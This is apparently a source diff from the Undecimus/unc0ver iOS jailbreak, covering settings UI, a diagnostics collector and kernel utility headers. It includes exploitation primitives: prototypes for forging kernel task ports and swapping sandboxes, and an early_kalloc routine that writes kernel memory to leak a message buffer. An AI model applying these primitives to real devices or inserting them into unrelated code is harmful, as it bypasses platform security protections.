uint32_t OSObject_GetRetainCount(kptr_t OSObject);
|
||||
uint32_t OSString_GetLength(kptr_t OSString);
|
||||
kptr_t OSString_CStringPtr(kptr_t OSString);
|
||||
char *OSString_CopyString(kptr_t OSString);
|
||||
kptr_t OSUnserializeXML(const char *buffer);
|
||||
kptr_t get_exception_osarray(const char **exceptions, bool is_file_extension);
|
||||
char **copy_amfi_entitlements(kptr_t present);
|
||||
kptr_t getOSBool(bool value);
|
||||
bool entitle_process(kptr_t amfi_entitlements, const char *key, kptr_t val);
|
||||
bool set_sandbox_exceptions(kptr_t sandbox);
|
||||
bool check_for_exception(char **current_exceptions, const char *exception);
|
||||
bool set_amfi_exceptions(kptr_t amfi_entitlements, const char *exc_key, const char **exceptions, bool is_file_extension);
|
||||
bool set_exceptions(kptr_t sandbox, kptr_t amfi_entitlements);
|
||||
kptr_t get_amfi_entitlements(kptr_t cr_label);
|
||||
kptr_t get_sandbox(kptr_t cr_label);
|
||||
bool entitle_process_with_pid(pid_t pid, const char *key, kptr_t val);
|
||||
bool remove_memory_limit(void);
|
||||
bool restore_kernel_task_port(task_t *out_kernel_task_port);
|
||||
bool restore_kernel_base(uint64_t *out_kernel_base, uint64_t *out_kernel_slide);
|
||||
bool restore_kernel_offset_cache(void);
|
||||
bool restore_file_offset_cache(const char *offset_cache_file_path, kptr_t *out_kernel_base, uint64_t *out_kernel_slide);
|
||||
bool convert_port_to_task_port(mach_port_t port, kptr_t space, kptr_t task_kaddr);
|
||||
kptr_t make_fake_task(kptr_t vm_map);
|
||||
bool make_port_fake_task_port(mach_port_t port, kptr_t task_kaddr);
|
||||
bool set_hsp4(task_t port);
|
||||
kptr_t get_vnode_for_path(const char *path);
|
||||
kptr_t get_vnode_for_fd(int fd);
|
||||
char *get_path_for_fd(int fd);
|
||||
kptr_t get_vnode_for_snapshot(int fd, char *name);
|
||||
bool set_kernel_task_info(void);
|
||||
int issue_extension_for_mach_service(kptr_t sb, kptr_t ctx, const char *entry_name, void *desc);
|
||||
bool unrestrict_process(pid_t pid);
|
||||
bool unrestrict_process_with_task_port(task_t task_port);
|
||||
bool unrestrict_library(const char *path);
|
||||
bool unrestrict_library_with_fd(int fd);
|
||||
bool revalidate_process(pid_t pid);
|
||||
bool revalidate_process_with_task_port(task_t task_port);
|
||||
bool enable_mapping_for_library(const char *lib);
|
||||
bool enable_mapping_for_libraries(const char *libs);
|
||||
kptr_t find_vnode_with_fd(kptr_t proc, int fd);
|
||||
kptr_t find_vnode_with_path(const char *path);
|
||||
kptr_t swap_sandbox_for_proc(kptr_t proc, kptr_t sandbox);
|
||||
|
||||
#endif /* kutils_h */
|
||||
@@ -7,71 +7,97 @@
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
#import "common.h"
|
||||
#import "utils.h"
|
||||
|
||||
#define K_TWEAK_INJECTION @"TweakInjection"
|
||||
#define K_LOAD_DAEMONS @"LoadDaemons"
|
||||
#define K_DUMP_APTICKET @"DumpAPTicket"
|
||||
#define K_REFRESH_ICON_CACHE @"RefreshIconCache"
|
||||
#define K_BOOT_NONCE @"BootNonce"
|
||||
#define K_EXPLOIT @"Exploit"
|
||||
#define K_DISABLE_AUTO_UPDATES @"DisableAutoUpdates"
|
||||
#define K_DISABLE_APP_REVOKES @"DisableAppRevokes"
|
||||
#define K_OVERWRITE_BOOT_NONCE @"OverwriteBootNonce"
|
||||
#define K_EXPORT_KERNEL_TASK_PORT @"ExportKernelTaskPort"
|
||||
#define K_RESTORE_ROOTFS @"RestoreRootFS"
|
||||
#define K_INCREASE_MEMORY_LIMIT @"IncreaseMemoryLimit"
|
||||
#define K_ECID @"Ecid"
|
||||
#define K_INSTALL_OPENSSH @"InstallOpenSSH"
|
||||
#define K_INSTALL_CYDIA @"InstallCydia"
|
||||
#define K_RELOAD_SYSTEM_DAEMONS @"ReloadSystemDaemons"
|
||||
|
||||
#define LOG_FILE [[NSString stringWithFormat:@"%@/Documents/log_file.txt", NSHomeDirectory()] UTF8String]
|
||||
|
||||
#define ISDEBUGGERATTACHED() (!(getppid() == 1))
|
||||
|
||||
#define START_LOGGING() do { \
|
||||
if (!ISDEBUGGERATTACHED()) { \
|
||||
freopen(LOG_FILE, "a+", stderr); \
|
||||
freopen(LOG_FILE, "a+", stdout); \
|
||||
setbuf(stdout, NULL); \
|
||||
setbuf(stderr, NULL);\
|
||||
} \
|
||||
} while (false) \
|
||||
|
||||
#define RESET_LOGS() do { \
|
||||
if (!ISDEBUGGERATTACHED()) { \
|
||||
if (!access(LOG_FILE, F_OK)) { \
|
||||
unlink(LOG_FILE); \
|
||||
} \
|
||||
} \
|
||||
} while(false) \
|
||||
|
||||
@interface SettingsTableViewController : UITableViewController <UITextFieldDelegate>
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *TweakInjectionSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *LoadDaemonsSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *DumpAPTicketSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *RefreshIconCacheSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *BootNonceTextField;
|
||||
@property (weak, nonatomic) IBOutlet UISegmentedControl *KernelExploitSegmentedControl;
|
||||
@interface SettingsTableViewController : UITableViewController <UITextFieldDelegate, UIPickerViewDataSource, UIPickerViewDelegate>
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *tweakInjectionSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *loadDaemonsSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *dumpAPTicketSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *refreshIconCacheSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *bootNonceTextField;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *kernelExploitTextField;
|
||||
@property (nonatomic) UIPickerView *kernelExploitPickerView;
|
||||
@property (nonatomic) NSMutableArray *exploitPickerArray;
|
||||
@property (nonatomic) NSMutableDictionary *availableExploits;
|
||||
@property (nonatomic) UIToolbar *exploitPickerToolbar;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *codeSubstitutorTextField;
|
||||
@property (nonatomic) UIPickerView *codeSubstitutorPickerView;
|
||||
@property (nonatomic) NSMutableArray *substitutorPickerArray;
|
||||
@property (nonatomic) NSMutableDictionary *availableSubstitutors;
|
||||
@property (nonatomic) UIToolbar *substitutorPickerToolbar;
|
||||
@property (nonatomic) BOOL isPicking;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *restartButton;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *DisableAutoUpdatesSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *DisableAppRevokesSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *disableAutoUpdatesSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *disableAppRevokesSwitch;
|
||||
@property (nonatomic) UITapGestureRecognizer *tap;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *ShareDiagnosticsDataButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *OpenCydiaButton;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *ExpiryLabel;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *OverwriteBootNonceSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *ExportKernelTaskPortSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *RestoreRootFSSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *shareDiagnosticsDataButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *openCydiaButton;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *expiryLabel;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *overwriteBootNonceSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *exportKernelTaskPortSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *restoreRootFSSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *installCydiaSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *installSSHSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *UptimeLabel;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *IncreaseMemoryLimitSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *ECIDLabel;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *ReloadSystemDaemonsSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *RestartSpringBoardButton;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *uptimeLabel;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *increaseMemoryLimitSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UITextField *ecidLabel;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *reloadSystemDaemonsSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *restartSpringBoardButton;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *hideLogWindowSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *resetCydiaCacheSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *sshOnlySwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *enableGetTaskAllowSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *setCSDebuggedSwitch;
|
||||
@property (weak, nonatomic) IBOutlet UISwitch *autoRespringSwitch;
|
||||
|
||||
+ (NSDictionary *)_provisioningProfileAtPath:(NSString *)path;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *specialThanksLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *tweakInjectionLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *loadDaemonsLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *dumpAPTicketLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *refreshIconCacheLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *disableAutoUpdatesLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *disableAppRevokesLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *overwriteBootNonceLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *exportKernelTaskPortLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *restoreRootFSLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *installCydiaLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *installSSHLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *increaseMemoryLimitLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *reloadSystemDaemonsLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *hideLogWindowLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *resetCydiaCacheLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *sshOnlyLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *enableGetTaskAllowLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *setCSDebuggedLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *autoRespringLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *kernelExploitLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *codeSubstitutorLabel;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *bootNonceButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *ecidDarkModeButton;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *expiryDarkModeLabel;
|
||||
@property (weak, nonatomic) IBOutlet UILabel *upTimeLabel;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *loadTweaksInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *loadDaemonsInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *dumpAPTicketInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *refreshIconCacheInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *disableAutoUpdatesInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *disableAppRevokesInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *overwriteBootNonceInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *exportKernelTaskPortInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *restoreRootFSInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *increaseMemoryLimitInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *installSSHInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *installCydiaInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *reloadSystemDaemonsInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *hideLogWindowInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *resetCydiaSwitchInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *sshOnlyInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *enableGetTaskAllowInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *setCSDebuggedInfoButton;
|
||||
@property (weak, nonatomic) IBOutlet UIButton *autoRespringInfoButton;
|
||||
|
||||
+ (NSDictionary *)provisioningProfileAtPath:(NSString *)path;
|
||||
|
||||
@end
|
||||
|
||||
|
||||
@@ -1,63 +0,0 @@
|
||||
//
|
||||
// ViewController.h
|
||||
// Undecimus
|
||||
//
|
||||
// Created by pwn20wnd on 8/29/18.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
#include <common.h>
|
||||
|
||||
#define __FILENAME__ (__builtin_strrchr(__FILE__, '/') ? __builtin_strrchr(__FILE__, '/') + 1 : __FILE__)
|
||||
|
||||
static NSString *message = nil;
|
||||
#define SETMESSAGE(msg) (message = msg)
|
||||
|
||||
#define _assert(test, message, fatal) do \
|
||||
if (!(test)) { \
|
||||
LOG("__assert(%d:%s)@%s:%u[%s]", errno, #test, __FILENAME__, __LINE__, __FUNCTION__); \
|
||||
if (message != nil) \
|
||||
showAlert(fatal ? @"Error (Fatal)" : @"Error (Nonfatal)", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s\nDescription: %@", errno, #test, __FILENAME__, __LINE__, __FUNCTION__, message], true, false); \
|
||||
else \
|
||||
showAlert(fatal ? @"Error (Fatal)" : @"Error (Nonfatal)", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s", errno, #test, __FILENAME__, __LINE__, __FUNCTION__], true, false); \
|
||||
if (fatal) \
|
||||
exit(EXIT_FAILURE); \
|
||||
} \
|
||||
while (false)
|
||||
|
||||
#define NOTICE(msg, wait, destructive) showAlert(@"Notice", msg, wait, destructive)
|
||||
|
||||
static inline void showAlert(NSString *title, NSString *message, Boolean wait, Boolean destructive) {
|
||||
dispatch_semaphore_t semaphore;
|
||||
if (wait)
|
||||
semaphore = dispatch_semaphore_create(0);
|
||||
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
[[[[[UIApplication sharedApplication] delegate] window] rootViewController] dismissViewControllerAnimated:YES completion:nil];
|
||||
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:title message:message preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *OK = [UIAlertAction actionWithTitle:@"OK" style:destructive ? UIAlertActionStyleDestructive : UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
if (wait)
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
}];
|
||||
[alertController addAction:OK];
|
||||
[alertController setPreferredAction:OK];
|
||||
[[[[[UIApplication sharedApplication] delegate] window] rootViewController] presentViewController:alertController animated:YES completion:nil];
|
||||
});
|
||||
if (wait)
|
||||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
|
||||
}
|
||||
|
||||
@interface ViewController : UIViewController
|
||||
@property (weak, nonatomic) IBOutlet UIButton *goButton;
|
||||
|
||||
double uptime(void);
|
||||
int necp_die(void);
|
||||
|
||||
NSString *hexFromInt(NSInteger val);
|
||||
|
||||
- (IBAction)tappedOnJailbreak:(id)sender;
|
||||
+(ViewController*)sharedController;
|
||||
|
||||
@end
|
||||
|
||||
@@ -3,6 +3,6 @@
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
void async_wake_go(void);
|
||||
bool async_wake_go(void);
|
||||
|
||||
#endif /* async_wake_h */
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
//
|
||||
// diagnostics.h
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 5/3/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef diagnostics_h
|
||||
#define diagnostics_h
|
||||
|
||||
#include <Foundation/Foundation.h>
|
||||
|
||||
#define STATUS_FILE @"/var/lib/dpkg/status"
|
||||
#define CYDIA_LIST @"/etc/apt/sources.list.d/cydia.list"
|
||||
|
||||
NSArray *dependencyArrayFromString(NSString *depends);
|
||||
NSArray *parsedPackageArray(void);
|
||||
NSString *domainFromRepoObject(NSString *repoObject);
|
||||
NSArray *sourcesFromFile(NSString *theSourceFile);
|
||||
NSDictionary *getDiagnostics(void);
|
||||
|
||||
#endif /* diagnostics_h */
|
||||
@@ -0,0 +1,147 @@
|
||||
//
|
||||
// diagnostics.c
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 5/3/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#include "diagnostics.h"
|
||||
#include <common.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include "utils.h"
|
||||
#include "prefs.h"
|
||||
|
||||
#if 0
|
||||
Credits:
|
||||
- https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L1138
|
||||
- https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L1163
|
||||
- https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L854
|
||||
- https://github.com/lechium/nitoTV/blob/53cca06514e79279fa89639ad05b562f7d730079/Classes/packageManagement.m#L869
|
||||
#endif
|
||||
|
||||
NSArray *dependencyArrayFromString(NSString *depends) {
|
||||
NSMutableArray *cleanArray = [NSMutableArray new];
|
||||
NSArray *dependsArray = [depends componentsSeparatedByString:@","];
|
||||
for (NSString *depend in dependsArray) {
|
||||
NSArray *spaceDelimitedArray = [depend componentsSeparatedByString:@" "];
|
||||
NSString *isolatedDependency = [[spaceDelimitedArray objectAtIndex:0] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||||
if ([isolatedDependency length] == 0) {
|
||||
isolatedDependency = [[spaceDelimitedArray objectAtIndex:1] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||||
}
|
||||
[cleanArray addObject:isolatedDependency];
|
||||
}
|
||||
return cleanArray;
|
||||
}
|
||||
|
||||
NSArray *parsedPackageArray() {
|
||||
NSString *packageString = [NSString stringWithContentsOfFile:STATUS_FILE encoding:NSUTF8StringEncoding error:nil];
|
||||
NSArray *lineArray = [packageString componentsSeparatedByString:@"\n\n"];
|
||||
NSMutableArray *mutableList = [[NSMutableArray alloc] init];
|
||||
for (NSString *currentItem in lineArray) {
|
||||
NSArray *packageArray = [currentItem componentsSeparatedByString:@"\n"];
|
||||
NSMutableDictionary *currentPackage = [[NSMutableDictionary alloc] init];
|
||||
for (NSString *currentLine in packageArray) {
|
||||
NSArray *itemArray = [currentLine componentsSeparatedByString:@": "];
|
||||
if ([itemArray count] >= 2) {
|
||||
NSString *key = [itemArray objectAtIndex:0];
|
||||
NSString *object = [itemArray objectAtIndex:1];
|
||||
if ([key isEqualToString:@"Depends"]) {
|
||||
NSArray *dependsObject = dependencyArrayFromString(object);
|
||||
[currentPackage setObject:dependsObject forKey:key];
|
||||
} else {
|
||||
[currentPackage setObject:object forKey:key];
|
||||
}
|
||||
}
|
||||
}
|
||||
if ([[currentPackage allKeys] count] > 4) {
|
||||
[mutableList addObject:currentPackage];
|
||||
}
|
||||
currentPackage = nil;
|
||||
}
|
||||
NSSortDescriptor *nameDescriptor = [[NSSortDescriptor alloc] initWithKey:@"Name" ascending:YES selector:@selector(localizedCaseInsensitiveCompare:)];
|
||||
NSSortDescriptor *packageDescriptor = [[NSSortDescriptor alloc] initWithKey:@"Package" ascending:YES selector:@selector(localizedCaseInsensitiveCompare:)];
|
||||
NSArray *descriptors = [NSArray arrayWithObjects:nameDescriptor, packageDescriptor, nil];
|
||||
NSArray *sortedArray = [mutableList sortedArrayUsingDescriptors:descriptors];
|
||||
mutableList = nil;
|
||||
return sortedArray;
|
||||
}
|
||||
|
||||
NSString *domainFromRepoObject(NSString *repoObject) {
|
||||
if ([repoObject length] == 0) return nil;
|
||||
NSArray *sourceObjectArray = [repoObject componentsSeparatedByString:@" "];
|
||||
NSString *url = [sourceObjectArray objectAtIndex:1];
|
||||
if ([url length] > 7) {
|
||||
NSString *urlClean = [url substringFromIndex:7];
|
||||
NSArray *secondArray = [urlClean componentsSeparatedByString:@"/"];
|
||||
return [secondArray objectAtIndex:0];
|
||||
}
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSArray *sourcesFromFile(NSString *theSourceFile) {
|
||||
NSMutableArray *finalArray = [NSMutableArray new];
|
||||
NSString *sourceString = [[NSString stringWithContentsOfFile:theSourceFile encoding:NSASCIIStringEncoding error:nil] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||||
NSArray *sourceFullArray = [sourceString componentsSeparatedByString:@"\n"];
|
||||
NSEnumerator *sourceEnum = [sourceFullArray objectEnumerator];
|
||||
NSString *currentSource = nil;
|
||||
while (currentSource = [sourceEnum nextObject]) {
|
||||
NSString *theObject = domainFromRepoObject(currentSource);
|
||||
if (theObject != nil) {
|
||||
if (![finalArray containsObject:theObject])
|
||||
[finalArray addObject:theObject];
|
||||
}
|
||||
}
|
||||
return finalArray;
|
||||
}
|
||||
|
||||
NSDictionary *getDiagnostics() {
|
||||
NSMutableDictionary *diagnostics = [NSMutableDictionary new];
|
||||
char *OSVersion = getOSVersion();
|
||||
assert(OSVersion != NULL);
|
||||
char *OSProductVersion = getOSProductVersion();
|
||||
assert(OSProductVersion != NULL);
|
||||
char *kernelVersion = getKernelVersion();
|
||||
assert(kernelVersion != NULL);
|
||||
char *machineName = getMachineName();
|
||||
assert(machineName != NULL);
|
||||
prefs_t *prefs = copy_prefs();
|
||||
diagnostics[@"OSVersion"] = [NSString stringWithUTF8String:OSVersion];
|
||||
diagnostics[@"OSProductVersion"] = [NSString stringWithUTF8String:OSProductVersion];
|
||||
diagnostics[@"KernelVersion"] = [NSString stringWithUTF8String:kernelVersion];
|
||||
diagnostics[@"MachineName"] = [NSString stringWithUTF8String:machineName];
|
||||
diagnostics[@"Preferences"] = [NSMutableDictionary new];
|
||||
diagnostics[@"Preferences"][@K_TWEAK_INJECTION] = [NSNumber numberWithBool:(BOOL)prefs->load_tweaks];
|
||||
diagnostics[@"Preferences"][@K_LOAD_DAEMONS] = [NSNumber numberWithBool:(BOOL)prefs->load_daemons];
|
||||
diagnostics[@"Preferences"][@K_DUMP_APTICKET] = [NSNumber numberWithBool:(BOOL)prefs->dump_apticket];
|
||||
diagnostics[@"Preferences"][@K_REFRESH_ICON_CACHE] = [NSNumber numberWithBool:(BOOL)prefs->run_uicache];
|
||||
diagnostics[@"Preferences"][@K_BOOT_NONCE] = [NSString stringWithUTF8String:(const char *)prefs->boot_nonce];
|
||||
diagnostics[@"Preferences"][@K_DISABLE_AUTO_UPDATES] = [NSNumber numberWithBool:(BOOL)prefs->disable_auto_updates];
|
||||
diagnostics[@"Preferences"][@K_DISABLE_APP_REVOKES] = [NSNumber numberWithBool:(BOOL)prefs->disable_app_revokes];
|
||||
diagnostics[@"Preferences"][@K_OVERWRITE_BOOT_NONCE] = [NSNumber numberWithBool:(BOOL)prefs->overwrite_boot_nonce];
|
||||
diagnostics[@"Preferences"][@K_EXPORT_KERNEL_TASK_PORT] = [NSNumber numberWithBool:(BOOL)prefs->export_kernel_task_port];
|
||||
diagnostics[@"Preferences"][@K_RESTORE_ROOTFS] = [NSNumber numberWithBool:(BOOL)prefs->restore_rootfs];
|
||||
diagnostics[@"Preferences"][@K_INCREASE_MEMORY_LIMIT] = [NSNumber numberWithBool:(BOOL)prefs->increase_memory_limit];
|
||||
diagnostics[@"Preferences"][@K_ECID] = [NSString stringWithUTF8String:(const char *)prefs->ecid];
|
||||
diagnostics[@"Preferences"][@K_INSTALL_CYDIA] = [NSNumber numberWithBool:(BOOL)prefs->install_cydia];
|
||||
diagnostics[@"Preferences"][@K_INSTALL_OPENSSH] = [NSNumber numberWithBool:(BOOL)prefs->install_openssh];
|
||||
diagnostics[@"Preferences"][@K_RELOAD_SYSTEM_DAEMONS] = [NSNumber numberWithBool:(BOOL)prefs->reload_system_daemons];
|
||||
diagnostics[@"Preferences"][@K_RESET_CYDIA_CACHE] = [NSNumber numberWithBool:(BOOL)prefs->reset_cydia_cache];
|
||||
diagnostics[@"Preferences"][@K_SSH_ONLY] = [NSNumber numberWithBool:(BOOL)prefs->ssh_only];
|
||||
diagnostics[@"Preferences"][@K_ENABLE_GET_TASK_ALLOW] = [NSNumber numberWithBool:(BOOL)prefs->enable_get_task_allow];
|
||||
diagnostics[@"Preferences"][@K_SET_CS_DEBUGGED] = [NSNumber numberWithBool:(BOOL)prefs->set_cs_debugged];
|
||||
diagnostics[@"Preferences"][@K_HIDE_LOG_WINDOW] = [NSNumber numberWithBool:(BOOL)prefs->hide_log_window];
|
||||
diagnostics[@"Preferences"][@K_EXPLOIT] = [NSNumber numberWithInt:(int)prefs->exploit];
|
||||
diagnostics[@"AppVersion"] = [NSString stringWithString:appVersion()];
|
||||
diagnostics[@"LogFile"] = [NSString stringWithContentsOfFile:getLogFile() encoding:NSUTF8StringEncoding error:nil];
|
||||
diagnostics[@"Sources"] = [NSArray arrayWithArray:sourcesFromFile(CYDIA_LIST)];
|
||||
diagnostics[@"Packages"] = [NSArray arrayWithArray:parsedPackageArray()];
|
||||
diagnostics[@"Uptime"] = [NSNumber numberWithDouble:getUptime()];
|
||||
SafeFreeNULL(OSVersion);
|
||||
SafeFreeNULL(OSProductVersion);
|
||||
SafeFreeNULL(kernelVersion);
|
||||
SafeFreeNULL(machineName);
|
||||
release_prefs(&prefs);
|
||||
return diagnostics;
|
||||
}
|
||||
@@ -8,62 +8,62 @@
|
||||
|
||||
#include "early_kalloc.h"
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelOffsets.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include "find_port.h"
|
||||
#include "kmem.h"
|
||||
#include "offsets.h"
|
||||
#include <common.h>
|
||||
#include "kutils.h"
|
||||
|
||||
// get a kalloc allocation before we've got a kcall interface to just call it
|
||||
uint64_t early_kalloc(int size) {
|
||||
mach_port_t port = MACH_PORT_NULL;
|
||||
kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate port\n");
|
||||
}
|
||||
|
||||
uint64_t port_kaddr = find_port_address(port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
struct simple_msg {
|
||||
mach_msg_header_t hdr;
|
||||
char buf[0];
|
||||
};
|
||||
|
||||
mach_msg_size_t msg_size = message_size_for_kalloc_size(size);
|
||||
struct simple_msg* msg = malloc(msg_size);
|
||||
memset(msg, 0, msg_size);
|
||||
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = msg_size;
|
||||
msg->hdr.msgh_remote_port = port;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414142;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||
msg_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("early kalloc failed to send message\n");
|
||||
}
|
||||
|
||||
// find the message buffer:
|
||||
|
||||
uint64_t message_buffer = ReadKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE));
|
||||
LOG("message buffer: %llx\n", message_buffer);
|
||||
|
||||
// leak the message buffer:
|
||||
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0);
|
||||
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit
|
||||
|
||||
|
||||
return message_buffer;
|
||||
uint64_t early_kalloc(int size)
|
||||
{
|
||||
mach_port_t port = MACH_PORT_NULL;
|
||||
kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate port");
|
